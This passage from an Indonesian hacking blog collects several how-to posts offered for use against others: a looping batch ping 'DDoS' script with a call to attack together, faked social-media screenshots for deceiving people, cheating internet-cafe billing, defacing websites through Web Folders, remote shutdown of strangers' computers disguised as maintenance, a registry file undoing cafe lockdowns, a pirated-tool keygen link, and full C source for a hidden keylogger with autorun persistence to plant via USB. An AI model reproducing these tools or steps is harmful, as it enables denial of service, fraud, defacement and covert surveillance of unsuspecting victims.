Nanti akan keluar URL hasil upload-an HTML kita...copas link tsbt letakkan diakhir URL




Step 4:kemudian tekan ENTER dan...
TARA...

Atauu ===================================================================

Nie contoh 1:
http://www.maxpointchina.com//asset/admin/js/kindeditor/attached/file/20120818/20120818165417_74638.html

Nie contoh 2:
http://www.maxpointchina.com/asset/admin/js/kindeditor/attached/file/20120818/20120818203725_94570.html

YANG MAU KODE HTML  KESINI SAJA :   Download HTML code

Kalau mau pas laman-nya kamu pake Ctrl+U,,  Trusss dimpan dalam notepad kamu dan simpan dalam format *.html Contoh : Terserah.html
Eitsss..... Sebelum kamu simpan kamu bisa meng-edit Code2-nya

Okeyyy... Mudahkan ???
Selamat mencoba dan MERDEKA !!! :D :D :D

Read More »

2 DDOS Mengunakan Notepad

LANGKAH 1, Copy code-code dibawah ini :



    Code:

        @echo off
        mode 67,16
        title DDOS Attack
        color 0a
        cls
        echo.
        echo DDOS With Batchfile
        echo.
        set /p x=Server-Target:
        echo.
        ping %x%
        @ping.exe 127.0.0.1 -n 5 -w 1000 > nul
        goto Next
        :Next
        echo.
        echo.
        echo.
        set /p m=ip Host:
        echo.
        set /p n=Packet Size:
        echo.
        :DDOS
        color 0c
        echo Attacking Server %m%
        ping %m% -i %n% -t >nul
        goto DDOS




LANGKAH 2 :
Buka application notepad dan paste code-code diatas tadi.



LANGKAH 3, Save file anda seperti dibawah :

File Name : DDoS Attack.bat
Save As Type : All File <--- PENTING


    Quote: bisa disave dgn namafile bebas sesuka bro n sist..
    tapi ingat , File Extensi harus berformat .Bat


 Cara-cara menggunakannya :
1. Double click file anda itu.
2. Akan tertera : Server-Target:
Masukkan alamat/url website anda.pastikan tidak ada http:// di depan dan / di belakang url.


    Quote:Contoh :
    Sebelum = http://www.google.com/
    Tukarkan kepada = www[.]google[.]com

    *hilangkan tanda '[]'.
    Setelah memasukkan url itu, tekan enter.



3. Selepas itu, website itu akan di-ping untuk mendapatkan ip address.Anda memerlukan IP Address itu.

Setelah selesai ping, akan keluar seperti ini :

Pinging http://www.google.com


[209.85.175.106] with 32 bytes of data:
Reply from 209.85.175.106: bytes=32 time=30ms TTL=56
Reply from 209.85.175.106: bytes=32 time=40ms TTL=55
Reply from 209.85.175.106: bytes=32 time=24ms TTL=56
Reply from 209.85.175.106: bytes=32 time=36ms TTL=56



Ping statistics for 209.85.175.106:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 24ms, Maximum = 40ms, Average = 32ms


209.85.175.106 <----- IP address bagi http://www.google.com


    Quote: cara sama kok untuk web yg lain






4. Selepas itu, akan terpapar di tool itu : ip Host:
Masukkan saja ip address yg anda dapat tadi.

Contoh :
ip Host:209.85.175.106

dan tekan enter.


5. Pada akhirnya akan keluar pula : Packet Size :
Letakkan letakkan semau anda sebagai POWER !

Contoh :
Packet Size : 10000000


Dan tekan enter.


6. Akan terpapar : Attacking Server.....

Itu bermakna tool itu sedang menjalankan tugasnya(DDoS).

Quote:Mau hasil yg maksimal , Harus ddos bareng2 , Biar cepet down targetnya  =))

Read More »

3 Cara Buat Capture Foto/Gambar Hoax

Pountar - Cyber: Selamat malam sahabat POUNTAR, Lama sudah tidak saya tidak posting lagi.

Karna sibuk dengan pekerjaan..HEHEHE :D

Kali ini saya mau berbagi tentang Cara Buat Capture Foto/Gambar Hoax yang bisa menipu siapa saja yang melihat foto/gambar tersebut tanpa mengetahui kebenarannya.
Dengan foto/gambar yang sudah di edit dengan paint photoshop atau dengan bantuan software editor. Gambar tersebut akan terkesan asli dan pihak tertentu bisa mengambil keuntungan dengan cara meng-unggah foto/gambar di jejaring sosial hanya dengan maksud tertentu untuk merugikan siapa saja yang menjadi korban dari pihak yang tidak bertanggungjawab.

Oke langsung saja... :D
Pertama-tama kamu mencari status yang ingin anda deface(web kalee),, Maksud status teman yang mau jadi target  eksekusi :D
Contoh Screenshoot adalah status teman saya:

• Setelah itu kamu tekan Ctrl+U untuk mendapatkan source code,, Blog & Copy semua isi dalam kolom pop-up..

Klik gambar untuk perbesar.

• Buka Notepad kamu terus Paste hasil Copy code tadi,, Dan cari text isi dari status tersebut.. Agar tidak binggung kamu bisa menggunakan Ctrl+F.

                         

• Sekarang kamu bisa mengantinya dengan text semau kamu :D
  Contoh yang saya buat di bawah.... Status target "kse pnass badan dulu.. //> ^_^
  IA KAN...." Sekarang di ubah jadi "BA GATE DULU.. //> ^_^
  OIOIOI TOHH.."

                         

• Simpan file NOTEPAD dengan format terserah.html
  Dan lihat Hasilnya dengan mengklik double pada file NOTEPAD tersebut.
  Taaraaaaaa... Hasilnyaaaa :D

np: Cara ini saya tes dari browser mozila firefox. Jika kamu bawaan google chrome. Caranya:
1. Blok pake cursor status mana yg mau di edit.
2. Click kanan –> inspect element.
3. Klick kanan lagi di bagian text yang mau di edit.
4. Kalo udah di edit, tinggal di enter aja.
5. Taraaararamm text sudah berubah =))

Dengan cara di atas kamu juga bisa ber-eksperime pada Foto, Ganti Nama dan lain2 dengan mengedit source code tersebut..

Sekian dulu yahh sedikit penjelasan dari Pountar - Cyber tentang  Cara Buat Capture Foto/Gambar Hoax  :))
Selamat mencoba =))

Read More »

3 Hack Time Di Billing Warnet

Yups.. kembali Toank-Toank lagi dari Pountar - Cyber =))
Sudah Banyak postingan yang membahas tentang
bagaimana Membobol billing expore yang digunakan di warnet2. Tapi minta sory dulu pada master2 karna postingan aku agak jadul ato sudah ketinggalan jaman, maklum masih newbie..bruakakaka :D
ok kita mulai aje


Pertama-tama Bukan run dengan menekan CTRL+R, kemudian ketikan cmd.
ketik "Time"pada layar cmd, akat keluar perintah Enter New Time, nah disini kita mulai mereset waktu billing warnetnya.
time waktu yang ingin kamu tentukan
contohnya:


The Current time is :20:31:47:79 (maka kita umah menjadi)
Enter New Time: 19:31:47:79
kemudian tekan enter

Maka time billing warnet sudah diubah, jika berasil gan bisa liat time billing di billing windows.



PERHATIAN: Tutorial ini tibuat untuk membuktikan bahwa tidak ada security yang ampuh hingga 100%, maka dari itu jangan gunakan ilmu yang kalian miliki untuk kejahatan

Read More »

5 Deface Web Di Win 7 With Web Folder

Hallo sobat Pountar - Cyber !! ya sekarang saya akan posting tapi bukan tentang Download tapi kali ini saya akan post seputar Hacking :D tepatnya Cara "Deface Web Di Win 7 With Web Folder".
Langsung saja ndak usah banyak bacot . akakakak :D
Cari dulu targetnya. Jika anda ingin mendapatkan target secara acak cari aja pake google dork dengan menggunakan keyword allinurl:*.asp , allinurl:*.aspx dan sebagainya.
1. Persiapkan File yang akan di upload contoh Hacked.html.
2. Buka Windows Explorer
3. Kemudian di tampilan Windows Explorer klik Kanan dan pilih Add a Network Connection

 

4. Selanjutnya Klik Next pada Internet or Network Address. lalu isikan URL target yang akan di deface.

5. Klik Next dan tunggu Proses nya sampai selesai lama tidaknya tergantung internetmu

6. Selanjutnya memberikan nama web folder klik nekt saja langsung karena secara otomatis akan memberikan nama sesuai alamat website tsb.

7. Klik Finis dan WebFolder tersebut akan muncul di Windows Explorer

8. Langkah selanjutnya memaskuan file yang akan di pindahkan ke Web Folder tersebut. [ex : Hacked.html]

9. Untuk membuka hasil deface nya http://target.com/Hacked.html]

Selesai dehh maaf ya lama soalnya ketik sendiri heheh. 

Selamat Berjuang...Semoga Berhasil... =))

Selanjutnya klik nekt Pada Internet or network addres, masukkan alamat website target Anda! misal target Anda adalah http://handistar.fr/

Read more at: http://ugiw.blogspot.com/2012/02/deface-website-dengan-web-folder-di.html
Copyright ugiw.blogspot.com Under Common Share Alike Atribution

Read More »

2 Download Gratis NetCut, Software Pengontrol Koneksi Jaringan Internet

NetCut adalah salah satu software untuk mengatur koneksi internet ke masing-masing komputer dalam satu jaringan wifi atau LAN. Namun software ini berbahaya jika dipegang oleh orang-orang yang tidak bertanggung jawab, misal untuk mengerjain temannya/orang lain saat berada di area hotspot, yang tujuannya juga untuk mengambil bandwidth.

Tampilan software NetCut seperti ini

Untuk menghentikan salah satu koneksi, anda tinggal arahkan cursor ke koneksi tersebut lalu tekan “Cut Off”. Untuk mengembalikannya tinggal tekan “Resume”.

Ada virus, adapula antivirusnya. Demikian juga dengan netcut. Untuk menghindari dari ulah orang lain yang menggunakan netcut, anda bisa instal anti netcut.

Berikut link keduanya :

Free Download NetCut 2.0 (1,8 Mb)

Free Download AntiNetCut (2,2 Mb)

Lebih baik instal saja keduanya. Barangkali bisa berguna saat koneksi wifi lambat..

Semoga ada manfaatnya ..

Ingat, NetCut yaa, bukan Nekat  hehehe =))

Read More »

1 HN Deface Page Maker

 

 

 

Program ini dapat di gunakan untuk membuat Halaman deface dalam bentuk .html dengan sangat mudah & cepat. kalian hanya tinggal memasukan nama,pesan,dan gambar yang ingin di tampilkan,lalu dengan 1 kali klik halaman itu sudah tercipta
sangat berguna bagi kalian.

 

——————————————

DOWNLOAD : HN Deface Page Maker (22 kb)

Download : Keygen HN Defacer Page Maker

 

submit nehh ngoni pe hasil deface HEHEHE =))

Read More »

0 CARA BUAT SHUTDOWN KOMPUTER ORANG

langsung ke TKP kawan

Kalau ngana(kamu) rasa (pastiu)bete atau bosan dengan pelayanan warnet di tempatmu, padahal udah bayar mahal-mahal buat internetan

di tempat tersebut dan di tambah lagi pas enak-enakan internetan, tiba-tiba disconnected...ach damn it!!!

  qta(aku) mau ngasih solusi buat jawab rasa keusilan kamu semua yang emang usil sangaddd.



Mau tau caranya?? Simak baik baik 

Okay, disini kamu ndak perlu butuh software apapun dalam hal ini...yang kamu butuhkan hanyalah sebuah otak yang usil and buat have fun ajah

Caranya:

1. buka komputer, and klik Start->Run...di kotak isian tersebut isikan "cmd" (tanpa petik )



2. Setelah itu muncul kotak berwarna hitam...di situ kamu ketikan SHUTDOWN.EXE (spasi) -i (spasi) -m



3. Contoh: Shutdown.exe -i -m lalu kamu tekan Enter



4. Maka akan muncul kotak di samping yang bernama "Remote Shutdown Dialog"



5. klik "ADD" -> untuk menambahkan IP target or nama target di LAN...atau agan klik "Browse" untuk mencari otomatis



6. kamu bisa tentukan yang enaknya buat kerjain komputer orang itu, apakah di shutdown, restart, or Log off...



7. Tentukan time yang pas buat deat time-nya komputer itu beraksi



8. ngana(kamu) bisa tambakan other (planned), ini dimaksudkan agar si user lawan mengira kalo ini ulah server yang lagi maintenance



9. Kirim kan pesan kematian kamu ke komputer orang di COMMENT Contoh : Ba Pinggir Kwa ! Kita Mo Main Di Situ ! Laughing



10. Tertawalah yang puas melihat orang lain kebingungan.. Very Happy





Pesan dari saya:



1. Kalo kamu mau kerjain komputer orang via LAN, liat dulu orangnya...jangan nanti ABRI lagi megang senjata kamu kerjain,,bisa mati kamu ditembak.!!!!....Very Happy



2. Ini sifatnya buat kerjain, kalo ntar kamu di kerjain juga jangan marah yach...



3.Ini paling penting ngana(kamu) inga...sebab dalam hal ini, IP kamu or nama kamu bakal terlihat di comment kematian kamu...karena dari sana terdapat IP addres kamu...jadi saya sarankan, begitu komputer itu mati kamu buru-buru kabur dah.soal nya kamu mungkin bakalan di jitak ma dia...Very Happy



4. Ini buat have fun ajah kok, jangan di pake sering-sering yah...kasihan tuh warnet-nya ndak dapet duit gara-gara kerjaan keusilan kamu..

selamat menco0ba =))

Read More »

2 MENGACAK-ACAK REGISTRY WARNET

Anda pasti pernah online di warnet yang beberapa fasilitas window*nya di matiin,terutama regeditnya, ini dilakukan oleh sang OP warnet biar ndak ada yang acak-ngacak sistemnya.
Tapi masih ada cara untuk mengacak-ngacaknya, qta bukan ajak berbuat jelek ya, cuma sekedar pengetahuan aja.......
Langsung aja daripada kelamaan bacot.x.....

Langkah pertama yaitu buka text editor kalian, lalu copy-pastekan code berikut ini ke text-editor kalian:
----------------------------[ cut here the code ]------------------------------
REGEDIT4
; awal pembuatan kode mengacak-acak registry warnet


[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools"=dword:00000001

; sekarang kode buat ngaktifin run
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoRun"=dword:00000000

;proses selesai
----------------------------[ cut here the code ]-----------------------------

Langkah kedua save kode tersebut dengan ekstensi REG, misalnya save dengan nama m2love.reg atau terserah anda aja dech, pokok.x ekstensinya harus REG

Langkah ketiga cukup klik hasil file yang telah anda simpan tadi, kemudian lanjutkan dengan langkah keempat.

Langkah terakhir reboot komputer anda, tetapi jangan gunakan telunjuk sakti anda (istillahnya Tri Amperianto). Cukup dengan menggunakan kombinasi Ctrl+Alt+Del, caranya tekan tombol yang bertulisan Ctrl, tahan... jangan dilepas, lalu tekan juga tombol Alt juga jangan dilepas selanjutnya tombol Delete. Diharapkan anda tidak jantungan ketika Windows mengeluarkan popup. Pilih explorer lalu tekan EndTask, tunggu sebentar lalu akan muncul popup lagi, selanjutnya EndTask-kan lagi.

Sekarang klik start lalu run dan ketikkan regedit. Zup... regedit yang manis terbuka dan lakukan apa yang ingin anda lakukan... saran aja, rubah aja RegisterOwner dan Organization dengan nama anda, bukan apa-apa... biasa, pingin terkenal...hahahayyyy... =))

Read More »

2 cara buat flashdisk jadi mesin keylogger

• Pertama kamu harus menyediakan flash disk atau USB kamu masing-masing (yang g jorok atau bebas virus nya, biar komputer orang g rusak).

• Lalu kamu mesti download C++.download di http://www.brothersoft.com/dev-c++-65296.html.

• Setelah anda download C++, anda buka dan install

• Setelah di install, open dan tulis code ini :

Code:

#include
#include
#include

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
    HWND stealth; /*creating stealth (window is not visible)*/
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);
  
    int test,create;
    test=test_key();/*check if key is available for opening*/
        
    if (test==2)/*create key*/
    {
        char *path="c:\\%windir%\\Log.exe";/*the path in which the file needs to be*/
        create=create_key(path);
        
    }
      
  
    int t=get_keys();
  
    return t;
}

int get_keys(void)
{
            short character;
              while(1)
{
                    
    for(character=8;character<=222;character++)
{
    if(GetAsyncKeyState(character)==-32767)
{  
                            
     FILE *file;
    file=fopen("log.log","a+");
if(file==NULL)
{
return 1;
}          
if(file!=NULL)
{      
if((character>=39)&&(character<=64))
{
    fputc(character,file);
    fclose(file);
    break;
}      
    else if((character>64)&&(character<91))
{
                                           character+=32;
                                           fputc(character,file);
                                           fclose(file);
                                           break;
}
    else
{
    switch(character)
{
                                               case VK_SPACE:
                                               fputc(' ',file);
                                               fclose(file);
                                               break;  
                                               case VK_SHIFT:
                                               fputs("[SHIFT]",file);
                                               fclose(file);
                                               break;                                          
                                               case VK_RETURN:
                                               fputs("\n[ENTER]",file);
                                               fclose(file);
                                               break;
                                               case VK_BACK:
                                               fputs("[BACKSPACE]",file);
                                               fclose(file);
                                               break;
                                               case VK_TAB:
                                               fputs("[TAB]",file);
                                               fclose(file);
                                               break;
                                               case VK_CONTROL:
                                               fputs("[CTRL]",file);
                                               fclose(file);
                                               break;  
                                               case VK_DELETE:
                                               fputs("[DEL]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_1:
                                               fputs("[;:]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_2:
                                               fputs("[/?]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_3:
                                               fputs("[`~]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_4:
                                               fputs("[ [{ ]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_5:
                                               fputs("[\\|]",file);
                                               fclose(file);
                                               break;                              
                                               case VK_OEM_6:
                                               fputs("[ ]} ]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_7:
                                               fputs("['\"]",file);
                                               fclose(file);
                                               break;
                                               /*case VK_OEM_PLUS:
                                               fputc('+',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_COMMA:
                                               fputc(',',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_MINUS:
                                               fputc('-',file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_PERIOD:
                                               fputc('.',file);
                                               fclose(file);
                                               break;*/
                                               case VK_NUMPAD0:
                                               fputc('0',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD1:
                                               fputc('1',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD2:
                                               fputc('2',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD3:
                                               fputc('3',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD4:
                                               fputc('4',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD5:
                                               fputc('5',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD6:
                                               fputc('6',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD7:
                                               fputc('7',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD8:
                                               fputc('8',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD9:
                                               fputc('9',file);
                                               fclose(file);
                                               break;
                                               case VK_CAPITAL:
                                               fputs("[CAPS LOCK]",file);
                                               fclose(file);
                                               break;
                                               default:
                                               fclose(file);
                                               break;
                                        }      
                                   }  
                              }      
                    }  
                }                
                    
            }
            return EXIT_SUCCESS;                          
}                                                

int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;
  
    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    if(reg_key!=0)
    {  
        check=1;
        return check;
    }      
          
    reg_key=RegQueryValueEx(hKey,"Log",NULL,NULL,(LPBYTE)path,&buf_length);
  
    if((reg_key!=0)||(buf_length>BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;
        
    RegCloseKey(hKey);
    return check;  
}
  
int create_key(char *path)
{  
        int reg_key,check;
      
        HKEY hkey;
      
        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,"Log",0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;
              
        return check;
}

• Na, kan sudah menjadi folder, tinggal kamu copy ke flash disk


• Selanjutnya, tinggal kamu jalanin aja di komputer orang lain lewat flash disk kamu, untuk menghentikan “Log.exe’ / Keylogger nya, bisa kalian end process di Windows Task Manager / ctrl+alt+delete



(keylogger ini bersifat tersembunyi dan susah untuk di lacak [menurut saya], jadi moga-moga bermanfaat deh,,,

Read More »